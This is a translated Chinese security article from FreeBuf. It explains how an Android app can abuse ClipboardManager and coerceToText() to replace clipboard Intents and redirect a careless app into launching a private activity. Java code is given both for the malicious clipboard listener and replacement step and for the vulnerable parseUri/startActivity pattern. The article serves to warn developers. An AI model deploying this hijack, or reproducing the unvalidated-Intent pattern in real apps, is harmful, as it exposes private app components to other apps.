概述
本文将要讲述一个滥用Android的ClipBoardManager最后自食恶果的故事
Clipboard框架
当你使用Android的 Clipboard框架 ,你将数据转换成一个剪切对象,然后将剪切对象传递到系统剪贴板。剪贴板同一时间只允许存在一个剪切对象,当应用在剪切板中传递一个剪切对象,前面一个剪切对象就会被移除。应用也不需要请求任何特殊许可就能对剪切板进行读取/写入。
coerceToText()
ClipData.Item 是ClipData中的一个item,在ClipData.Item中有一个名为coerceToText()的十分有趣的公共操作方法。该方法会将ClipData.Item中的数据转换为文本,无论其数据类型。
因为两个截然不同的东西,让它更添趣味:
1.它可以创建一个包含了Intent的ClipData,并将其放入全局剪切板中。 2.coerceToText()内部机制中会调用getIntent()。如果ClipData.Item中的Intent对象不为null,那么数据会被转换为Intent URI
另外,ClipboardManager提供了一个监听器,当primaryClipData有变化时就会提醒你,也就是说当添加了一些新的东西,它会进行提醒。
通过ClipData进行攻击
假说有一个应用通过某种类型的用户交互在剪切板中创建,增加一个包含了被认为是“公用”组件的Intent对象的ClipData
final ClipboardManager clipboardManager = (ClipboardManager) getSystemService(Context.CLIPBOARD_SERVICE); Intent intent = new Intent(getApplicationContext(), PublicActivity.class); intent.setAction("android.intent.action.VIEW"); intent.putExtra("ExtraString", "foobar"); ClipData setClipData; setClipData = ClipData.newIntent("intent", intent); clipboardManager.setPrimaryClip(setClipData);
恶意应用可能会设置一个监听器来接收新增ClipData的通知
ClipboardManager.OnPrimaryClipChangedListener onPrimaryClipChangedListener = new ClipboardManager.OnPrimaryClipChangedListener() { @Override public void onPrimaryClipChanged() { try { replaceClipData(clipboardManager); } catch (URISyntaxException e) { e.printStackTrace(); } } };
一旦检测到新的ClipData,它可以通过在剪切板增加一个包含了新的Intent对象的恶意ClipData
ClipData getClipData = clipboardManager.getPrimaryClip(); ClipData.Item item; = getClipData.getItemAt(0); Log.d("MaliciousApplication", item.toString()); CharSequence charSequence = item.coerceToText(this.getApplicationContext()); String intentURI = charSequence.toString(); Log.d("MaliciousApplication", "Found Intent URI : " + intentURI + " : Replacing!"); Intent intent = new Intent(); intent.setComponent(new ComponentName("com.rotlogix.clipdatacapture", "com.rotlogix.clipdatacapture.PrivateActivity")); intent.setAction("android.intent.action.VIEW"); Log.d("MaliciousApplication", intent.toString()); ClipData setClipData; setClipData = ClipData.newIntent("intent", intent); clipboardManager.setPrimaryClip(setClipData);
如果在ClipData中发现的数据是一个Intent,那么coerceToText()会返回一个Intent URI。如果一个应用想要从URI创建一个Intent,它肯定得在返回的字符串调用parseUri(),这也就是苦果的由来。
public void startActivityFromClipData(ClipboardManager clipboardManager) throws URISyntaxException { ClipData getClipData = clipboardManager.getPrimaryClip(); ClipData.Item item; item = getClipData.getItemAt(0); String clipDataString = item.coerceToText(this.getApplicationContext()).toString(); Intent intent = Intent.parseUri(clipDataString, 0); startActivity(intent); }
应用程序在传递给startActivity()之前,调用一个未经验证的隐形Intent
I/ActivityManager( 6422): START u0 {act=android.intent.action.VIEW cmp=com.rotlogix.clipdatacapture/.PrivateActivity} from pid 9040
总结
到目前为止,我个人还没有看到有人利用这种方法搞破坏。但是作为一个有趣的案例,同时给开发者提个醒也是不错的。
*参考来源: rotlogix ,编译/FB小编鸢尾,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)